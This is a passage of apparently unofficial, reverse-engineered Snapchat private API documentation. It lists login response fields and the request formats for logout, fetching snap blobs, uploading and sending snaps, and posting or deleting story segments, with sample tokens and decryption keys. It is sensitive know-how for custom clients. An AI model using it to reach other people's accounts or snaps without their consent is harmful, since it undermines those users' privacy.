class="p">,</span> <span class="nx">feature_settings</span><span class="o">:</span> <span class="p">{},</span> <span class="nx">snap_p</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">mobile_verification_key</span><span class="o">:</span> <span class="s2">"MTMzNzpnaWJzb24="</span><span class="p">,</span> <span class="nx">recents</span><span class="o">:</span> <span class="p">[</span><span class="s2">"teamsnapchat"</span><span class="p">],</span> <span class="nx">added_friends_timestamp</span><span class="o">:</span> <span class="mi">1385130955168</span><span class="p">,</span> <span class="nx">notification_sound_setting</span><span class="o">:</span> <span class="s2">"OFF"</span><span class="p">,</span> <span class="nx">snapchat_phone_number</span><span class="o">:</span> <span class="s2">"+15557350485"</span><span class="p">,</span> <span class="nx">auth_token</span><span class="o">:</span> <span class="s2">"85c32786-0c71-44bf-9ba0-77bf18c61db2"</span><span class="p">,</span> <span class="nx">image_caption</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">is_beta</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">current_timestamp</span><span class="o">:</span> <span class="mi">1385378822645</span><span class="p">,</span> <span class="nx">can_view_mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f980968cb99c81989489959cd79a9694">[email protected]</a>"</span><span class="p">,</span> <span class="nx">should_send_text_to_verify_number</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">mobile</span><span class="o">:</span> <span class="s2">""</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>bests</code></td> <td>list</td> <td>A list of your "best friends" (most frequently interacted with).</td> </tr> <tr> <td><code>score</code></td> <td>int</td> <td>Your arbitrary, and utterly pointless Snapchat score.</td> </tr> <tr> <td><code>number_of_best_friends</code></td> <td>int</td> <td>The number of "best friends" you have.</td> </tr> <tr> <td><code>received</code></td> <td>int</td> <td>The amount of snaps you've received.</td> </tr> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>added_friends</code></td> <td>list</td> <td>Friends who have added you - See <em>below</em>.</td> </tr> <tr> <td><code>beta_expiration</code>*</td> <td>int</td> <td>When this beta build (if you're in the beta) expires.</td> </tr> <tr> <td><code>beta_number</code>*</td> <td>int</td> <td>The number of this beta build.</td> </tr> <tr> <td><code>requests</code></td> <td>list</td> <td>Friends who have added you - See <em>below</em>.</td> </tr> <tr> <td><code>sent</code></td> <td>int</td> <td>How many snaps you've sent.</td> </tr> <tr> <td><code>story_privacy</code></td> <td>str</td> <td>Your <a href="#updating-your-story-privacy">story privacy</a>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your username.</td> </tr> <tr> <td><code>snaps</code></td> <td>list</td> <td>A list of snap-related things - See <em>below</em>.</td> </tr> <tr> <td><code>friends</code></td> <td>list</td> <td>A list of all your friends - See <em>below</em>.</td> </tr> <tr> <td><code>device_token</code></td> <td>str</td> <td>Used for Google Cloud Messaging PUSH notifications.</td> </tr> <tr> <td><code>feature_settings</code></td> <td>dict</td> <td><em>N/A</em></td> </tr> <tr> <td><code>snap_p</code></td> <td>int</td> <td>Your <a href="#updating-your-account-privacy">account privacy</a>.</td> </tr> <tr> <td><code>mobile_verification_key</code></td> <td>str</td> <td>A base64'd verification key (+ your username) you can text Snapchat to verify your phone number.</td> </tr> <tr> <td><code>recents</code></td> <td>list</td> <td>A list of people you have recently interacted with.</td> </tr> <tr> <td><code>added_friends_timestamp</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when a friend last added you.</td> </tr> <tr> <td><code>notification_sound_setting</code></td> <td>str</td> <td>The app's sound notification settings.</td> </tr> <tr> <td><code>snapchat_phone_number</code></td> <td>str</td> <td>A phone number you can text your <code>mobile_verification_key</code> to.</td> </tr> <tr> <td><code>auth_token</code></td> <td>str</td> <td>An <a href="#authentication-tokens">authentication token</a>. Store this, you'll need it later!</td> </tr> <tr> <td><code>image_caption</code></td> <td>bool</td> <td><em>N/A</em></td> </tr> <tr> <td><code>is_beta</code>*</td> <td>bool</td> <td>Whether you're opted into Snapchat Beta or not.</td> </tr> <tr> <td><code>current_timestamp</code></td> <td>int</td> <td>A current unix timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>can_view_mature_content</code></td> <td>bool</td> <td>Your <a href="#updating-your-maturity-settings">maturity settings</a>.</td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>should_send_text_to_verify_number</code></td> <td>bool</td> <td>Exactly what it says on the tin.</td> </tr> <tr> <td><code>mobile</code></td> <td>str</td> <td>Your attached mobile number (if any).</td> </tr> </tbody></table> <p><code>added_friends</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when they added you.</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their username.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <p><code>requests</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when they added you.</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their username.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <p><code>snaps</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>A unique id for the snap. Ends in either: <code>r</code>, sent <em>to</em> us; or <code>s</code>, sent <em>from</em> us.</td> </tr> <tr> <td><code>sn</code> / <code>rp</code></td> <td>str</td> <td>Snap <em>sender/recipient</em> name, respectively.</td> </tr> <tr> <td><code>ts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when it was last interacted with.</td> </tr> <tr> <td><code>sts</code></td> <td>int</td> <td>A unix timestamp (<code>*1000</code>) of when it was sent (almost always the same as <code>ts</code>).</td> </tr> <tr> <td><code>m</code></td> <td>int</td> <td>The media type - See: <a href="#index-of-constants">Index of constants</a>.</td> </tr> <tr> <td><code>st</code></td> <td>int</td> <td>The state of the media - See: <a href="#index-of-constants">Index of constants</a>.</td> </tr> <tr> <td><code>t</code></td> <td>int</td> <td><em>Present in unopened snaps</em> (where <code>m=N,st=1</code>) - the time the snap should be viewable for.</td> </tr> </tbody></table> <p><code>friends</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>can_see_custom_stories</code></td> <td>bool</td> <td>Whether the user is allowed to see your stories (on <a href="#updating-your-story-privacy">custom privacy</a>).</td> </tr> <tr> <td><code>name</code></td> <td>str</td> <td>Their user account name.</td> </tr> <tr> <td><code>display</code></td> <td>str</td> <td>Their display name, <a href="#making---or-losing---friends-phfriend">set by you</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>Whether the account is: public, <code>0</code>; private, <code>1</code>.</td> </tr> </tbody></table> <h1 id='logging-out-phlogout' class='link-to'>Logging out (<code>/ph/logout</code>) <a class='pilcrow' title='Permalink to this section' href='#logging-out-phlogout'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">json</span><span class="o">:</span> <span class="s2">"{}"</span><span class="p">,</span> <span class="nx">events</span><span class="o">:</span> <span class="s2">"[]"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>json</code></td> <td>dict</td> <td>See: <a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></td> </tr> <tr> <td><code>events</code></td> <td>list</td> <td>See: <a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.<br> Doing this makes your <a href="#authentication-tokens">authentication token</a> stale - you can't reuse it.</p> <h1 id='fetching-snap-data-phblob' class='link-to'>Fetching snap data (<code>/ph/blob</code>) <a class='pilcrow' title='Permalink to this section' href='#fetching-snap-data-phblob'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"97117373178635038r"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>id</code></td> <td>int</td> <td>The id attached to the snap we're interested in.</td> </tr> </tbody></table> <p>If your request is successful, you will get <code>200 OK</code> followed by the blob data for the snap you requested:</p> <ul> <li>The returned blob is encrypted. See: <a href="#encryptingdecrypting-data">Encrypting/decrypting data</a></li> <li>Once decrypted, images will start with <code>\xFF\xD8\xFF\xE0</code> - almost always JPEG.</li> <li>Once decrypted, videos will start with <code>\x00\x00\x00\x18</code> - almost always MPEG-4.</li> <li>PNG (<code>\x89PNG</code>) and GIF (<code>GIF8</code>) are uncommon but can be sent by custom clients, as they appear to display correctly.</li> </ul> <p>Your request may be met with <code>410 Gone</code> if you requested an image that:</p> <ul> <li>Doesn't exist</li> <li>Did exist but has been <a href="#reporting-seen-and-screenshotted">marked seen or screenshotted</a>.</li> </ul> <h1 id='uploading-and-sending-snaps-phupload-phsend' class='link-to'>Uploading and sending snaps (<code>/ph/upload</code>, <code>/ph/send</code>) <a class='pilcrow' title='Permalink to this section' href='#uploading-and-sending-snaps-phupload-phsend'>露</a></h1> <p>Sending snaps are done in two parts - you upload the media, then tell Snapchat who to send it to.</p> <h2 id='uploading-your-media-phupload' class='link-to'>Uploading your media (<code>/ph/upload</code>) <a class='pilcrow' title='Permalink to this section' href='#uploading-your-media-phupload'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_SNAP_DATA</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you're uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get a <code>200 OK</code> with no body content.<br> <strong>NB!</strong> You need to store the <code>media_id</code> to use in <code>/ph/send</code>.</p> <h2 id='sending-it-off-phsend' class='link-to'>Sending it off (<code>/ph/send</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-it-off-phsend'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">"teamsnapchat,someguy"</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">"0"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get a <code>200 OK</code> with no body content.</p> <h2 id='resending-a-failed-snap-phretry' class='link-to'>Resending a failed snap (<code>/ph/retry</code>) <a class='pilcrow' title='Permalink to this section' href='#resending-a-failed-snap-phretry'>露</a></h2> <p><code>/ph/retry</code> is much like a combined endpoint for <a href="#uploading-your-media-phupload"><code>/ph/upload</code></a> and <a href="#sending-it-off-phsend"><code>/ph/send</code></a>.</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_SNAP_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">"0"</span><span class="p">,</span> <span class="nx">recipient</span><span class="o">:</span> <span class="s2">"teamsnapchat,someguy"</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">5</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you're uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>recipient</code></td> <td>str</td> <td>A comma delimited list of recipients - e.g. <code>teamsnapchat,someguy</code></td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get a <code>200 OK</code> with no body content.</p> <h1 id='posting-to-a-story-bqpost_story' class='link-to'>Posting to a story (<code>/bq/post_story</code>) <a class='pilcrow' title='Permalink to this section' href='#posting-to-a-story-bqpost_story'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Foo, bar, baz!"</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">"0"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">10</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code>.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn't seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you're uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> </tbody></table> <p><strong>NB!</strong> You get the <code>media_id</code> by first <a href="#uploading-your-media-phupload">uploading your media</a>.<br> <strong>NB!</strong> Your <code>media_id</code> and <code>client_id</code> <em>have</em> to be in the format <code>YOURACCOUNT~UUID</code> - otherwise this will return <code>400 Bad Request</code>.<br> If your request was <strong>successful</strong>, you'll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">json</span><span class="o">:</span> <span class="p">{</span> <span class="nx">story</span><span class="o">:</span> <span class="p">{</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Foo, bar, baz!"</span><span class="p">,</span> <span class="nx">id</span><span class="o">:</span> <span class="s2">"youraccount~1385123930172"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">mature_content</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~E5273F6E-EF69-453A-BE05-EC232AD7482C"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1385123930172</span><span class="p">,</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"5926704455352320"</span><span class="p">,</span> <span class="nx">media_key</span><span class="o">:</span> <span class="s2">"rlcTSuolqwhiatuqT6533fbcyBvIU7e/i4ZFZPxFtco="</span><span class="p">,</span> <span class="nx">media_iv</span><span class="o">:</span> <span class="s2">"YXyO2gJ4PuLhwlHohxGOFE=="</span><span class="p">,</span> <span class="nx">thumbnail_iv</span><span class="o">:</span> <span class="s2">"DrcQC5VRkjw+8KLp489xFA=="</span><span class="p">,</span> <span class="nx">media_type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mf">10.0</span><span class="p">,</span> <span class="nx">time_left</span><span class="o">:</span> <span class="mi">86399893</span><span class="p">,</span> <span class="nx">media_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_blob?story_id=5676384469352890"</span><span class="p">,</span> <span class="nx">thumbnail_url</span><span class="o">:</span> <span class="s2">"https://feelinsonice-hrd.appspot.com/bq/story_thumbnail?story_id=5911704785345329"</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>If your request was <strong>successful</strong> you'll get back a <code>202 Accepted</code> with some JSON body content:</p> <p><code>r.json.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn't seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>id</code></td> <td>str</td> <td>Your username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Your account username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not story contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>The <code>media_id</code>/<code>client_id</code> you sent originally.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp.</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64'd key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64'd IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64'd IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story's blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail's blob data.</td> </tr> </tbody></table> <h1 id='deleting-story-segments-bqdelete_story' class='link-to'>Deleting story segments (<code>/bq/delete_story</code>) <a class='pilcrow' title='Permalink to this section' href='#deleting-story-segments-bqdelete_story'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">story_id</span><span class="o">:</span> <span class="s2">"youraccount~1382716927240"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>story_id</code></td> <td>str</td> <td>The story segment id we're deleting.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back a <code>200 OK</code> with no body content.</p> <h1 id='appending-segments-to-a-story-directly-bqretry_post_story' class='link-to'>Appending segments to a story directly (<code>/bq/retry_post_story</code>) <a class='pilcrow' title='Permalink to this section' href='#appending-segments-to-a-story-directly-bqretry_post_story'>露</a></h1> <p>This is the same as <a href="#posting-to-a-story-bqpost_story">posting to a story</a>, however there is an extra field (<code>data</code>) sent:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">media_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">client_id</span><span class="o">:</span> <span class="s2">"YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f"</span><span class="p">,</span> <span class="nx">caption_text_display</span><span class="o">:</span> <span class="s2">"Foo, bar, baz!"</span><span class="p">,</span> <span class="nx">thumbnail_data</span><span class="o">:</span> <span class="nx">ENCRYPTED_THUMBNAIL_DATA</span><span class="p">,</span> <span class="nx">zipped</span><span class="o">:</span> <span class="s2">"0"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">time</span><span class="o">:</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">data</span><span class="o">:</span> <span class="nx">ENCRYPTED_STORY_DATA</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>A unique identifier for this media - Snapchat uses a UUID.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>A unique client identifier - the same as the given <code>media_id</code>.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td>Some form of caption - doesn't seem to be honored/rendered by the receiving client.</td> </tr> <tr> <td><code>thumbnail_data</code>*</td> <td>data</td> <td>Optional thumbnail data. It will be generated for you if you leave this out.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>str</td> <td><code>0</code> or <code>1</code>, indicating whether or not the data is <a href="#gzipping-data">gzipped</a>.</td> </tr> <tr> <td><code>type</code></td> <td>int</td> <td>The type of media you're uploading - <code>0</code> for images, <code>1</code> for videos</td> </tr> <tr> <td><code>time</code></td> <td>int</td> <td>An integer, 1-10 inclusive of how long the snap will display for.</td> </tr> <tr> <td><code>data</code></td> <td>data</td> <td>The <a href="#encryptingdecrypting-data">encrypted</a> media data.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you'll get back something similar to <a href="#posting-to-a-story-bqpost_story">posting to a story</a></p> <h1 